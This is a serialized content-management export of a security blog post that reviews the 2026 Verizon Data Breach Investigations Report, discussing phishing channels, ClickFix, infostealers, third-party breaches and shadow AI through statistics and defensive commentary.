",{"data":27401,"marks":27402,"value":27404,"nodeType":865},{},[27403],{"type":961},"40% higher success rate",{"data":27406,"marks":27407,"value":27408,"nodeType":865},{},[]," than email phishing — a median click rate of 2% versus 1.4%.",{"data":27410,"content":27414,"nodeType":925},{"target":27411},{"sys":27412},{"id":27413,"type":922,"linkType":923},"7pK8qqIDDNmHmJmlcybNoe",[],{"data":27416,"content":27417,"nodeType":866},{},[27418,27422,27429],{"data":27419,"marks":27420,"value":27421,"nodeType":865},{},[],"Even within the email channel, the data confirms what ",{"data":27423,"content":27424,"nodeType":882},{"uri":25940},[27425],{"data":27426,"marks":27427,"value":27428,"nodeType":865},{},[],"browser-level detection data has been showing",{"data":27430,"marks":27431,"value":27432,"nodeType":865},{},[],": credential harvesting dominates. The DBIR's email security gateway breakdown shows 80% of blocked attacks are credential or session phishing, with only 10% involving malware delivery, 5% callback phishing, and 3% BEC. If you're running an email security gateway, the vast majority of what it catches is credential phishing — and 41% of social engineering is arriving through channels it can't see at all.",{"data":27434,"content":27438,"nodeType":925},{"target":27435},{"sys":27436},{"id":27437,"type":922,"linkType":923},"6CvwzQA3gJ8B3RFzLrH7Kp",[],{"data":27440,"content":27441,"nodeType":1458},{},[27442],{"data":27443,"marks":27444,"value":27446,"nodeType":865},{},[27445],{"type":961},"The ClickFix detection gap",{"data":27448,"content":27449,"nodeType":866},{},[27450,27454,27461,27465],{"data":27451,"marks":27452,"value":27453,"nodeType":865},{},[],"The DBIR reports ClickFix at only 2.7% of attacks detected at the browser level. For context, ",{"data":27455,"content":27456,"nodeType":882},{"uri":9176},[27457],{"data":27458,"marks":27459,"value":27460,"nodeType":865},{},[],"CrowdStrike reported a 563% increase in ClickFix lures",{"data":27462,"marks":27463,"value":27464,"nodeType":865},{},[]," over the same period and Microsoft identified it as the most common initial access point at 47% of observed attacks. Push's own data shows ClickFix at a significantly higher proportion of browser-level detections, ",{"data":27466,"marks":27467,"value":27469,"nodeType":865},{},[27468],{"type":961},"with 4 in 5 delivered via search engines specifically.",{"data":27471,"content":27472,"nodeType":866},{},[27473],{"data":27474,"marks":27475,"value":27476,"nodeType":865},{},[],"The gap is striking, and the most likely explanation is a visibility one. ClickFix attacks result in a malware download or script execution on the endpoint — and without browser-layer context, that execution looks like any other malware delivery. If a contributing organization doesn't have visibility into the browser session that preceded the payload, they'd attribute the incident to \"malware download\" or \"user execution\" rather than ClickFix specifically. The DBIR's 2.7% probably reflects how often contributors could trace the chain back to a ClickFix page, not how often ClickFix was actually the delivery mechanism.",{"data":27478,"content":27479,"nodeType":953},{},[],{"data":27481,"content":27482,"nodeType":963},{},[27483],{"data":27484,"marks":27485,"value":27487,"nodeType":865},{},[27486],{"type":961},"Stolen credentials are the ransomware on-ramp",{"data":27489,"content":27490,"nodeType":866},{},[27491],{"data":27492,"marks":27493,"value":27494,"nodeType":865},{},[],"One of the most powerful findings in this year's DBIR is the quantification of the relationship between credential compromise and ransomware outcomes. Fifty percent of ransomware victims had a credential or infostealer event occur within 95 days prior to the ransomware attack, drawing a causal line from credential theft to ransomware deployment.",{"data":27496,"content":27500,"nodeType":925},{"target":27497},{"sys":27498},{"id":27499,"type":922,"linkType":923},"3ZwG5UiweFR4fYiDaxJJDm",[],{"data":27502,"content":27503,"nodeType":866},{},[27504],{"data":27505,"marks":27506,"value":27507,"nodeType":865},{},[],"The infostealer supply chain data reinforces the picture. Infostealers are surfacing an average of 2,362 breached corporate credentials per month from organizational email domains in stealer log datasets, and 54% of devices in Initial Access Broker logs had at least one infostealer installed. The 95-day median window is consistent with the known timeline from credential harvest to ransomware deployment.",{"data":27509,"content":27510,"nodeType":866},{},[27511,27515,27522],{"data":27512,"marks":27513,"value":27514,"nodeType":865},{},[],"That timeline reinforces an argument we've been making about ",{"data":27516,"content":27517,"nodeType":882},{"uri":1335},[27518],{"data":27519,"marks":27520,"value":27521,"nodeType":865},{},[],"where the intervention point needs to be",{"data":27523,"marks":27524,"value":27525,"nodeType":865},{},[],": detecting credential compromise upstream — at the point of credential entry, session creation, or stolen credential reuse — rather than waiting for the ransomware deployment that follows weeks or months later.",{"data":27527,"content":27528,"nodeType":1458},{},[27529],{"data":27530,"marks":27531,"value":27533,"nodeType":865},{},[27532],{"type":961},"Post-compromise tradecraft is shifting",{"data":27535,"content":27536,"nodeType":866},{},[27537,27541,27546],{"data":27538,"marks":27539,"value":27540,"nodeType":865},{},[],"The DBIR's post-compromise data adds another dimension. RMM tool abuse by threat actors showed a ",{"data":27542,"marks":27543,"value":27545,"nodeType":865},{},[27544],{"type":961},"240% increase",{"data":27547,"marks":27548,"value":27549,"nodeType":865},{},[]," over the prior year, while traditional backdoor and C2 malware usage fell 27%. Attackers are increasingly living off the land with the same remote access tools IT teams use. Post-compromise detection is getting harder, which makes catching the initial credential compromise upstream that much more valuable.",{"data":27551,"content":27552,"nodeType":953},{},[],{"data":27554,"content":27555,"nodeType":963},{},[27556],{"data":27557,"marks":27558,"value":27560,"nodeType":865},{},[27559],{"type":961},"Your vendors are half the problem",{"data":27562,"content":27563,"nodeType":866},{},[27564,27568,27573],{"data":27565,"marks":27566,"value":27567,"nodeType":865},{},[],"Third-party involvement in breaches reached ",{"data":27569,"marks":27570,"value":27572,"nodeType":865},{},[27571],{"type":961},"48%",{"data":27574,"marks":27575,"value":27576,"nodeType":865},{},[]," this year, up from 30% — a 60% increase that follows a prior year where the figure had already doubled.",{"data":27578,"content":27579,"nodeType":866},{},[27580],{"data":27581,"marks":27582,"value":27583,"nodeType":865},{},[],"The DBIR's root cause analysis maps directly to identity security: insecure authentication — absent MFA, improper credential rotation — and lack of least privilege enforcement account for a substantial share of cloud-based third-party incidents. Only 23% of third-party organizations fully remediated missing or improperly secured MFA on cloud accounts, and weak password and permission misconfigurations took a median of 8 months to resolve 50% of findings.",{"data":27585,"content":27586,"nodeType":866},{},[27587],{"data":27588,"marks":27589,"value":27590,"nodeType":865},{},[],"Eight months. That's the median timeline for third-party vendors to resolve the identity hygiene issues that create the attack surface in their environments — environments that your data lives in.",{"data":27592,"content":27593,"nodeType":866},{},[27594,27598,27605],{"data":27595,"marks":27596,"value":27597,"nodeType":865},{},[],"Extend that posture gap across every vendor and third-party integration, and you start to see why the third-party breach figure keeps climbing. Visibility into ",{"data":27599,"content":27600,"nodeType":882},{"uri":3288},[27601],{"data":27602,"marks":27603,"value":27604,"nodeType":865},{},[],"OAuth consent flows and third-party integration sprawl",{"data":27606,"marks":27607,"value":27608,"nodeType":865},{},[]," is the starting point for getting ahead of a supply chain problem that is structurally getting worse.",{"data":27610,"content":27611,"nodeType":953},{},[],{"data":27613,"content":27614,"nodeType":963},{},[27615],{"data":27616,"marks":27617,"value":27619,"nodeType":865},{},[27618],{"type":961},"AI is scaling known techniques — and creating new blind spots from the inside",{"data":27621,"content":27622,"nodeType":866},{},[27623],{"data":27624,"marks":27625,"value":27626,"nodeType":865},{},[],"The DBIR's AI analysis this year is grounded in a collaboration with Anthropic covering 793 threat actors who received enforcement action for violating acceptable use policy between March 2025 and February 2026. The findings are measured rather than alarmist: in the median case, actors sought AI assistance across about 15 distinct ATT&CK techniques, 44% of AI-assisted initial access was phishing-related, and less than 2.5% of techniques observed were classified as rare.",{"data":27628,"content":27629,"nodeType":866},{},[27630],{"data":27631,"marks":27632,"value":27633,"nodeType":865},{},[],"AI is currently an operational tool for attackers — automating and scaling known techniques rather than unlocking novel ones. Despite heavy AI-assisted focus on phishing, the DBIR's own incident dataset shows phishing as an initial access vector has barely changed year over year — suggesting AI may be uplifting less-experienced attackers to a higher baseline of lure quality without meaningfully increasing success rates against organizations that already have detection in place.",{"data":27635,"content":27636,"nodeType":866},{},[27637],{"data":27638,"marks":27639,"value":27640,"nodeType":865},{},[],"The more concerning number is the 32% of AI-assisted initial access targeting vulnerability exploitation — compounding the patching capacity crisis discussed earlier in a trend that was already accelerating before AI entered the picture.",{"data":27642,"content":27646,"nodeType":925},{"target":27643},{"sys":27644},{"id":27645,"type":922,"linkType":923},"4bFTnVx1SXMQzZSaICCJOn",[],{"data":27648,"content":27649,"nodeType":1458},{},[27650],{"data":27651,"marks":27652,"value":27654,"nodeType":865},{},[27653],{"type":961},"Shadow AI is the bigger problem",{"data":27656,"content":27657,"nodeType":866},{},[27658,27662,27667],{"data":27659,"marks":27660,"value":27661,"nodeType":865},{},[],"The sharper AI risk for most organizations, though, is internal. Forty-five percent of employees are now regular AI users on corporate devices — up from 15%, a threefold increase — and ",{"data":27663,"marks":27664,"value":27666,"nodeType":865},{},[27665],{"type":961},"67% of them use non-corporate accounts",{"data":27668,"marks":27669,"value":27670,"nodeType":865},{},[],". Shadow AI has become the third most common non-malicious insider action in DLP data, a fourfold increase over the prior year, with source code as the leading data type submitted to unauthorized AI platforms by a wide margin.",{"data":27672,"content":27673,"nodeType":866},{},[27674],{"data":27675,"marks":27676,"value":27677,"nodeType":865},{},[],"The browser extension angle is particularly relevant. More than 15% of users had unauthorized AI browser extensions installed, and the DBIR specifically notes that these extensions collect and retain browsing context from internal sites — creating a data exfiltration pathway that operates independently of traditional DLP controls.",{"data":27679,"content":27680,"nodeType":866},{},[27681,27685,27692],{"data":27682,"marks":27683,"value":27684,"nodeType":865},{},[],"This is moving faster than any previous shadow IT wave, and the data loss vector is the browser — where users interact with AI tools, where extensions collect context, and where OAuth consent grants connect AI services to corporate data. Visibility and control at that layer isn't a nice-to-have for AI governance; ",{"data":27686,"content":27687,"nodeType":882},{"uri":27049},[27688],{"data":27689,"marks":27690,"value":27691,"nodeType":865},{},[],"it's the minimum viable starting point",{"data":27693,"marks":27694,"value":1048,"nodeType":865},{},[],{"data":27696,"content":27697,"nodeType":953},{},[],{"data":27699,"content":27700,"nodeType":963},{},[27701],{"data":27702,"marks":27703,"value":27705,"nodeType":865},{},[27704],{"type":961},"What this means for defenders",{"data":27707,"content":27708,"nodeType":866},{},[27709],{"data":27710,"marks":27711,"value":27712,"nodeType":865},{},[],"The DBIR's 2026 data paints a picture of converging pressures rather than shifting priorities. Vulnerability exploitation surged, but identity-related initial access is broadly stable and credential abuse at 39% across full breach chains remains the single most pervasive technique in the dataset. Phishing is arriving through channels that email gateways can't see. The infostealer-to-ransomware pipeline now has longitudinal data behind it. Third-party involvement keeps climbing because vendor identity hygiene takes months to remediate. And shadow AI is creating data exposure pathways that most security stacks weren't designed to see.",{"data":27714,"content":27715,"nodeType":866},{},[27716],{"data":27717,"marks":27718,"value":27719,"nodeType":865},{},[],"The common thread across all of these findings is that the browser — where credentials are entered, sessions are created, OAuth consent is granted, AI tools are accessed, and extensions collect data — is the layer where these risks converge and where defenders need visibility and control if they're going to address them at the point of risk rather than after the fact.",{"data":27721,"content":27722,"nodeType":866},{},[27723],{"data":27724,"marks":27725,"value":2792,"nodeType":865},{},[],{"data":27727,"content":27728,"nodeType":866},{},[27729],{"data":27730,"marks":27731,"value":1718,"nodeType":865},{},[],{"data":27733,"content":27734,"nodeType":866},{},[27735,27738,27745],{"data":27736,"marks":27737,"value":21,"nodeType":865},{},[],{"data":27739,"content":27740,"nodeType":882},{"uri":1728},[27741],{"data":27742,"marks":27743,"value":2812,"nodeType":865},{},[27744],{"type":997},{"data":27746,"marks":27747,"value":21,"nodeType":865},{},[],"What the Verizon DBIR tells us about how breaches happen in 2026","What we can learn from 2026's installment of the Verizon Data Breach Investigations Report.","2026-05-20T00:00:00.000Z","verizon-dbir-2026-review",{"items":27753},[27754,27756],{"sys":27755,"name":297},{"id":2828},{"sys":27757,"name":11426},{"id":11425},{"items":27759},[27760],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":27761},{"url":853},{"__typename":1788,"sys":27763,"content":27764,"title":5016,"synopsis":5017,"hashTags":59,"publishedDate":5018,"slug":5019,"tagsCollection":28833,"authorsCollection":28839},{"id":3781},{"json":27765},{"data":27766,"content":27767,"nodeType":1739},{},[27768,27781,27786,27792,27798,27803,27806,27813,27820,27835,27873,27878,27891,27894,27901,27908,27930,27962,27968,27971,27978,27985,27991,27996,28002,28005,28012,28019,28053,28083,28089,28092,28099,28106,28126,28132,28171,28177,28180,28187,28194,28230,28236,28241,28244,28251,28258,28284,28290,28295,28301,28304,28311,28318,28341,28347,28353,28359,28362,28369,28376,28382,28387,28393,28414,28437,28440,28447,28454,28460,28466,28469,28476,28531,28534,28541,28547,28815,28818],{"data":27769,"content":27770,"nodeType":866},{},[27771,27774,27778],{"data":27772,"marks":27773,"value":3792,"nodeType":865},{},[],{"data":27775,"marks":27776,"value":3797,"nodeType":865},{},[27777],{"type":961},{"data":27779,"marks":27780,"value":3801,"nodeType":865},{},[],{"data":27782,"content":27785,"nodeType":925},{"target":27783},{"sys":27784},{"id":3806,"type":922,"linkType":923},[],{"data":27787,"content":27788,"nodeType":866},{},[27789],{"data":27790,"marks":27791,"value":3814,"nodeType":865},{},[],{"data":27793,"content":27794,"nodeType":866},{},[27795],{"data":27796,"marks":27797,"value":3821,"nodeType":865},{},[],{"data":27799,"content":27802,"nodeType":925},{"target":27800},{"sys":27801},{"id":3826,"type":922,"linkType":923},[],{"data":27804,"content":27805,"nodeType":953},{},[],{"data":27807,"content":27808,"nodeType":963},{},[27809],{"data":27810,"marks":27811,"value":3838,"nodeType":865},{},[27812],{"type":961},{"data":27814,"content":27815,"nodeType":866},{},[27816],{"data":27817,"marks":27818,"value":3846,"nodeType":865},{},[27819],{"type":961},{"data":27821,"content":27822,"nodeType":866},{},[27823,27826,27832],{"data":27824,"marks":27825,"value":3853,"nodeType":865},{},[],{"data":27827,"content":27828,"nodeType":882},{"uri":3856},[27829],{"data":27830,"marks":27831,"value":3861,"nodeType":865},{},[],{"data":27833,"marks":27834,"value":3865,"nodeType":865},{},[],{"data":27836,"content":27837,"nodeType":866},{},[27838,27841,27847,27850,27854,27857,27861,27864,27870],{"data":27839,"marks":27840,"value":3872,"nodeType":865},{},[],{"data":27842,"content":27843,"nodeType":882},{"uri":3875},[27844],{"data":27845,"marks":27846,"value":3880,"nodeType":865},{},[],{"data":27848,"marks":27849,"value":2186,"nodeType":865},{},[],{"data":27851,"marks":27852,"value":3888,"nodeType":865},{},[27853],{"type":961},{"data":27855,"marks":27856,"value":3892,"nodeType":865},{},[],{"data":27858,"marks":27859,"value":3897,"nodeType":865},{},[27860],{"type":961},{"data":27862,"marks":27863,"value":3901,"nodeType":865},{},[],{"data":27865,"content":27866,"nodeType":882},{"uri":3904},[27867],{"data":27868,"marks":27869,"value":3909,"nodeType":865},{},[],{"data":27871,"marks":27872,"value":3913,"nodeType":865},{},[],{"data":27874,"content":27877,"nodeType":925},{"target":27875},{"sys":27876},{"id":3918,"type":922,"linkType":923},[],{"data":27879,"content":27880,"nodeType":866},{},[27881,27884,27888],{"data":27882,"marks":27883,"value":3926,"nodeType":865},{},[],{"data":27885,"marks":27886,"value":3931,"nodeType":865},{},[27887],{"type":961},{"data":27889,"marks":27890,"value":1048,"nodeType":865},{},[],{"data":27892,"content":27893,"nodeType":953},{},[],{"data":27895,"content":27896,"nodeType":963},{},[27897],{"data":27898,"marks":27899,"value":3945,"nodeType":865},{},[27900],{"type":961},{"data":27902,"content":27903,"nodeType":866},{},[27904],{"data":27905,"marks":27906,"value":3846,"nodeType":865},{},[27907],{"type":961},{"data":27909,"content":27910,"nodeType":866},{},[27911,27914,27920,27923,27927],{"data":27912,"marks":27913,"value":3959,"nodeType":865},{},[],{"data":27915,"content":27916,"nodeType":882},{"uri":3962},[27917],{"data":27918,"marks":27919,"value":3967,"nodeType":865},{},[],{"data":27921,"marks":27922,"value":3971,"nodeType":865},{},[],{"data":27924,"marks":27925,"value":3976,"nodeType":865},{},[27926],{"type":961},{"data":27928,"marks":27929,"value":3980,"nodeType":865},{},[],{"data":27931,"content":27932,"nodeType":866},{},[27933,27936,27942,27945,27949,27952,27959],{"data":27934,"marks":27935,"value":3987,"nodeType":865},{},[],{"data":27937,"content":27938,"nodeType":882},{"uri":3990},[27939],{"data":27940,"marks":27941,"value":3995,"nodeType":865},{},[],{"data":27943,"marks":27944,"value":3999,"nodeType":865},{},[],{"data":27946,"marks":27947,"value":4004,"nodeType":865},{},[27948],{"type":961},{"data":27950,"marks":27951,"value":4008,"nodeType":865},{},[],{"data":27953,"content":27954,"nodeType":882},{"uri":4011},[27955],{"data":27956,"marks":27957,"value":4017,"nodeType":865},{},[27958],{"type":961},{"data":27960,"marks":27961,"value":4021,"nodeType":865},{},[],{"data":27963,"content":27964,"nodeType":866},{},[27965],{"data":27966,"marks":27967,"value":4028,"nodeType":865},{},[],{"data":27969,"content":27970,"nodeType":953},{},[],{"data":27972,"content":27973,"nodeType":963},{},[27974],{"data":27975,"marks":27976,"value":4039,"nodeType":865},{},[27977],{"type":961},{"data":27979,"content":27980,"nodeType":866},{},[27981],{"data":27982,"marks":27983,"value":4047,"nodeType":865},{},[27984],{"type":961},{"data":27986,"content":27987,"nodeType":866},{},[27988],{"data":27989,"marks":27990,"value":4054,"nodeType":865},{},[],{"data":27992,"content":27995,"nodeType":925},{"target":27993},{"sys":27994},{"id":4059,"type":922,"linkType":923},[],{"data":27997,"content":27998,"nodeType":866},{},[27999],{"data":28000,"marks":28001,"value":4067,"nodeType":865},{},[],{"data":28003,"content":28004,"nodeType":953},{},[],{"data":28006,"content":28007,"nodeType":963},{},[28008],{"data":28009,"marks":28010,"value":4078,"nodeType":865},{},[28011],{"type":961},{"data":28013,"content":28014,"nodeType":866},{},[28015],{"data":28016,"marks":28017,"value":4047,"nodeType":865},{},[28018],{"type":961},{"data":28020,"content":28021,"nodeType":866},{},[28022,28025,28032,28035,28041,28044,28050],{"data":28023,"marks":28024,"value":4092,"nodeType":865},{},[],{"data":28026,"content":28027,"nodeType":882},{"uri":4095},[28028],{"data":28029,"marks":28030,"value":4101,"nodeType":865},{},[28031],{"type":997},{"data":28033,"marks":28034,"value":2186,"nodeType":865},{},[],{"data":28036,"content":28037,"nodeType":882},{"uri":4107},[28038],{"data":28039,"marks":28040,"value":4112,"nodeType":865},{},[],{"data":28042,"marks":28043,"value":2186,"nodeType":865},{},[],{"data":28045,"content":28046,"nodeType":882},{"uri":4118},[28047],{"data":28048,"marks":28049,"value":4123,"nodeType":865},{},[],{"data":28051,"marks":28052,"value":4127,"nodeType":865},{},[],{"data":28054,"content":28055,"nodeType":866},{},[28056,28059,28066,28069,28073,28076,28080],{"data":28057,"marks":28058,"value":21,"nodeType":865},{},[],{"data":28060,"content":28061,"nodeType":882},{"uri":4136},[28062],{"data":28063,"marks":28064,"value":4142,"nodeType":865},{},[28065],{"type":997},{"data":28067,"marks":28068,"value":4146,"nodeType":865},{},[],{"data":28070,"marks":28071,"value":4151,"nodeType":865},{},[28072],{"type":961},{"data":28074,"marks":28075,"value":4155,"nodeType":865},{},[],{"data":28077,"marks":28078,"value":4160,"nodeType":865},{},[28079],{"type":944},{"data":28081,"marks":28082,"value":4164,"nodeType":865},{},[],{"data":28084,"content":28085,"nodeType":866},{},[28086],{"data":28087,"marks":28088,"value":4171,"nodeType":865},{},[],{"data":28090,"content":28091,"nodeType":953},{},[],{"data":28093,"content":28094,"nodeType":963},{},[28095],{"data":28096,"marks":28097,"value":4182,"nodeType":865},{},[28098],{"type":961},{"data":28100,"content":28101,"nodeType":866},{},[28102],{"data":28103,"marks":28104,"value":4047,"nodeType":865},{},[28105],{"type":961},{"data":28107,"content":28108,"nodeType":866},{},[28109,28112,28116,28119,28123],{"data":28110,"marks":28111,"value":4196,"nodeType":865},{},[],{"data":28113,"marks":28114,"value":4201,"nodeType":865},{},[28115],{"type":944},{"data":28117,"marks":28118,"value":4205,"nodeType":865},{},[],{"data":28120,"marks":28121,"value":4210,"nodeType":865},{},[28122],{"type":944},{"data":28124,"marks":28125,"value":4214,"nodeType":865},{},[],{"data":28127,"content":28128,"nodeType":866},{},[28129],{"data":28130,"marks":28131,"value":4221,"nodeType":865},{},[],{"data":28133,"content":28134,"nodeType":1049},{},[28135,28153],{"data":28136,"content":28137,"nodeType":1003},{},[28138],{"data":28139,"content":28140,"nodeType":866},{},[28141,28144,28150],{"data":28142,"marks":28143,"value":873,"nodeType":865},{},[],{"data":28145,"content":28146,"nodeType":882},{"uri":4236},[28147],{"data":28148,"marks":28149,"value":4241,"nodeType":865},{},[],{"data":28151,"marks":28152,"value":4245,"nodeType":865},{},[],{"data":28154,"content":28155,"nodeType":1003},{},[28156],{"data":28157,"content":28158,"nodeType":866},{},[28159,28162,28168],{"data":28160,"marks":28161,"value":873,"nodeType":865},{},[],{"data":28163,"content":28164,"nodeType":882},{"uri":3288},[28165],{"data":28166,"marks":28167,"value":4261,"nodeType":865},{},[],{"data":28169,"marks":28170,"value":4265,"nodeType":865},{},[],{"data":28172,"content":28173,"nodeType":866},{},[28174],{"data":28175,"marks":28176,"value":4272,"nodeType":865},{},[],{"data":28178,"content":28179,"nodeType":953},{},[],{"data":28181,"content":28182,"nodeType":963},{},[28183],{"data":28184,"marks":28185,"value":4283,"nodeType":865},{},[28186],{"type":961},{"data":28188,"content":28189,"nodeType":866},{},[28190],{"data":28191,"marks":28192,"value":4291,"nodeType":865},{},[28193],{"type":961},{"data":28195,"content":28196,"nodeType":866},{},[28197,28200,28204,28207,28213,28216,28220,28223,28227],{"data":28198,"marks":28199,"value":4298,"nodeType":865},{},[],{"data":28201,"marks":28202,"value":4303,"nodeType":865},{},[28203],{"type":961},{"data":28205,"marks":28206,"value":4307,"nodeType":865},{},[],{"data":28208,"content":28209,"nodeType":882},{"uri":1362},[28210],{"data":28211,"marks":28212,"value":4314,"nodeType":865},{},[],{"data":28214,"marks":28215,"value":4318,"nodeType":865},{},[],{"data":28217,"marks":28218,"value":4323,"nodeType":865},{},[28219],{"type":961},{"data":28221,"marks":28222,"value":4327,"nodeType":865},{},[],{"data":28224,"marks":28225,"value":4332,"nodeType":865},{},[28226],{"type":961},{"data":28228,"marks":28229,"value":4336,"nodeType":865},{},[],{"data":28231,"content":28232,"nodeType":866},{},[28233],{"data":28234,"marks":28235,"value":4343,"nodeType":865},{},[],{"data":28237,"content":28240,"nodeType":925},{"target":28238},{"sys":28239},{"id":4348,"type":922,"linkType":923},[],{"data":28242,"content":28243,"nodeType":953},{},[],{"data":28245,"content":28246,"nodeType":963},{},[28247],{"data":28248,"marks":28249,"value":4360,"nodeType":865},{},[28250],{"type":961},{"data":28252,"content":28253,"nodeType":866},{},[28254],{"data":28255,"marks":28256,"value":4368,"nodeType":865},{},[28257],{"type":961},{"data":28259,"content":28260,"nodeType":866},{},[28261,28264,28271,28274,28281],{"data":28262,"marks":28263,"value":4375,"nodeType":865},{},[],{"data":28265,"content":28266,"nodeType":882},{"uri":4378},[28267],{"data":28268,"marks":28269,"value":4384,"nodeType":865},{},[28270],{"type":961},{"data":28272,"marks":28273,"value":4388,"nodeType":865},{},[],{"data":28275,"content":28276,"nodeType":882},{"uri":4391},[28277],{"data":28278,"marks":28279,"value":4397,"nodeType":865},{},[28280],{"type":961},{"data":28282,"marks":28283,"value":4401,"nodeType":865},{},[],{"data":28285,"content":28286,"nodeType":866},{},[28287],{"data":28288,"marks":28289,"value":4408,"nodeType":865},{},[],{"data":28291,"content":28294,"nodeType":925},{"target":28292},{"sys":28293},{"id":4413,"type":922,"linkType":923},[],{"data":28296,"content":28297,"nodeType":866},{},[28298],{"data":28299,"marks":28300,"value":4421,"nodeType":865},{},[],{"data":28302,"content":28303,"nodeType":953},{},[],{"data":28305,"content":28306,"nodeType":963},{},[28307],{"data":28308,"marks":28309,"value":4432,"nodeType":865},{},[28310],{"type":961},{"data":28312,"content":28313,"nodeType":866},{},[28314],{"data":28315,"marks":28316,"value":4440,"nodeType":865},{},[28317],{"type":961},{"data":28319,"content":28320,"nodeType":866},{},[28321,28324,28328,28331,28338],{"data":28322,"marks":28323,"value":4447,"nodeType":865},{},[],{"data":28325,"marks":28326,"value":4452,"nodeType":865},{},[28327],{"type":944},{"data":28329,"marks":28330,"value":4456,"nodeType":865},{},[],{"data":28332,"content":28333,"nodeType":882},{"uri":4459},[28334],{"data":28335,"marks":28336,"value":4465,"nodeType":865},{},[28337],{"type":961},{"data":28339,"marks":28340,"value":4469,"nodeType":865},{},[],{"data":28342,"content":28343,"nodeType":866},{},[28344],{"data":28345,"marks":28346,"value":4476,"nodeType":865},{},[],{"data":28348,"content":28349,"nodeType":866},{},[28350],{"data":28351,"marks":28352,"value":4483,"nodeType":865},{},[],{"data":28354,"content":28355,"nodeType":866},{},[28356],{"data":28357,"marks":28358,"value":4490,"nodeType":865},{},[],{"data":28360,"content":28361,"nodeType":953},{},[],{"data":28363,"content":28364,"nodeType":963},{},[28365],{"data":28366,"marks":28367,"value":4501,"nodeType":865},{},[28368],{"type":961},{"data":28370,"content":28371,"nodeType":866},{},[28372],{"data":28373,"marks":28374,"value":4509,"nodeType":865},{},[28375],{"type":961},{"data":28377,"content":28378,"nodeType":866},{},[28379],{"data":28380,"marks":28381,"value":4516,"nodeType":865},{},[],{"data":28383,"content":28386,"nodeType":925},{"target":28384},{"sys":28385},{"id":4521,"type":922,"linkType":923},[],{"data":28388,"content":28389,"nodeType":866},{},[28390],{"data":28391,"marks":28392,"value":4529,"nodeType":865},{},[],{"data":28394,"content":28395,"nodeType":1049},{},[28396,28405],{"data":28397,"content":28398,"nodeType":1003},{},[28399],{"data":28400,"content":28401,"nodeType":866},{},[28402],{"data":28403,"marks":28404,"value":4542,"nodeType":865},{},[],{"data":28406,"content":28407,"nodeType":1003},{},[28408],{"data":28409,"content":28410,"nodeType":866},{},[28411],{"data":28412,"marks":28413,"value":4552,"nodeType":865},{},[],{"data":28415,"content":28416,"nodeType":866},{},[28417,28420,28427,28430,28434],{"data":28418,"marks":28419,"value":4559,"nodeType":865},{},[],{"data":28421,"content":28422,"nodeType":882},{"uri":4562},[28423],{"data":28424,"marks":28425,"value":4568,"nodeType":865},{},[28426],{"type":961},{"data":28428,"marks":28429,"value":4572,"nodeType":865},{},[],{"data":28431,"marks":28432,"value":4577,"nodeType":865},{},[28433],{"type":944},{"data":28435,"marks":28436,"value":4581,"nodeType":865},{},[],{"data":28438,"content":28439,"nodeType":953},{},[],{"data":28441,"content":28442,"nodeType":963},{},[28443],{"data":28444,"marks":28445,"value":4592,"nodeType":865},{},[28446],{"type":961},{"data":28448,"content":28449,"nodeType":866},{},[28450],{"data":28451,"marks":28452,"value":4600,"nodeType":865},{},[28453],{"type":961},{"data":28455,"content":28456,"nodeType":866},{},[28457],{"data":28458,"marks":28459,"value":4607,"nodeType":865},{},[],{"data":28461,"content":28462,"nodeType":866},{},[28463],{"data":28464,"marks":28465,"value":4614,"nodeType":865},{},[],{"data":28467,"content":28468,"nodeType":953},{},[],{"data":28470,"content":28471,"nodeType":963},{},[28472],{"data":28473,"marks":28474,"value":4625,"nodeType":865},{},[28475],{"type":961},{"data":28477,"content":28478,"nodeType":1049},{},[28479,28492,28505,28518],{"data":28480,"content":28481,"nodeType":1003},{},[28482],{"data":28483,"content":28484,"nodeType":866},{},[28485,28489],{"data":28486,"marks":28487,"value":4639,"nodeType":865},{},[28488],{"type":961},{"data":28490,"marks":28491,"value":4643,"nodeType":865},{},[],{"data":28493,"content":28494,"nodeType":1003},{},[28495],{"data":28496,"content":28497,"nodeType":866},{},[28498,28502],{"data":28499,"marks":28500,"value":4654,"nodeType":865},{},[28501],{"type":961},{"data":28503,"marks":28504,"value":4658,"nodeType":865},{},[],{"data":28506,"content":28507,"nodeType":1003},{},[28508],{"data":28509,"content":28510,"nodeType":866},{},[28511,28515],{"data":28512,"marks":28513,"value":4669,"nodeType":865},{},[28514],{"type":961},{"data":28516,"marks":28517,"value":4673,"nodeType":865},{},[],{"data":28519,"content":28520,"nodeType":1003},{},[28521],{"data":28522,"content":28523,"nodeType":866},{},[28524,28528],{"data":28525,"marks":28526,"value":781,"nodeType":865},{},[28527],{"type":961},{"data":28529,"marks":28530,"value":4687,"nodeType":865},{},[],{"data":28532,"content":28533,"nodeType":953},{},[],{"data":28535,"content":28536,"nodeType":963},{},[28537],{"data":28538,"marks":28539,"value":4698,"nodeType":865},{},[28540],{"type":961},{"data":28542,"content":28543,"nodeType":866},{},[28544],{"data":28545,"marks":28546,"value":4705,"nodeType":865},{},[],{"data":28548,"content":28549,"nodeType":2396},{},[28550,28573,28595,28617,28639,28661,28683,28705,28727,28749,28771,28793],{"data":28551,"content":28552,"nodeType":1869},{},[28553,28563],{"data":28554,"content":28555,"nodeType":1835},{},[28556],{"data":28557,"content":28558,"nodeType":866},{},[28559],{"data":28560,"marks":28561,"value":4722,"nodeType":865},{},[28562],{"type":961},{"data":28564,"content":28565,"nodeType":1835},{},[28566],{"data":28567,"content":28568,"nodeType":866},{},[28569],{"data":28570,"marks":28571,"value":4733,"nodeType":865},{},[28572],{"type":961},{"data":28574,"content":28575,"nodeType":1869},{},[28576,28586],{"data":28577,"content":28578,"nodeType":1835},{},[28579],{"data":28580,"content":28581,"nodeType":866},{},[28582],{"data":28583,"marks":28584,"value":4747,"nodeType":865},{},[28585],{"type":961},{"data":28587,"content":28588,"nodeType":1835},{},[28589],{"data":28590,"content":28591,"nodeType":866},{},[28592],{"data":28593,"marks":28594,"value":4757,"nodeType":865},{},[],{"data":28596,"content":28597,"nodeType":1869},{},[28598,28608],{"data":28599,"content":28600,"nodeType":1835},{},[28601],{"data":28602,"content":28603,"nodeType":866},{},[28604],{"data":28605,"marks":28606,"value":4771,"nodeType":865},{},[28607],{"type":961},{"data":28609,"content":28610,"nodeType":1835},{},[28611],{"data":28612,"content":28613,"nodeType":866},{},[28614],{"data":28615,"marks":28616,"value":4781,"nodeType":865},{},[],{"data":28618,"content":28619,"nodeType":1869},{},[28620,28630],{"data":28621,"content":28622,"nodeType":1835},{},[28623],{"data":28624,"content":28625,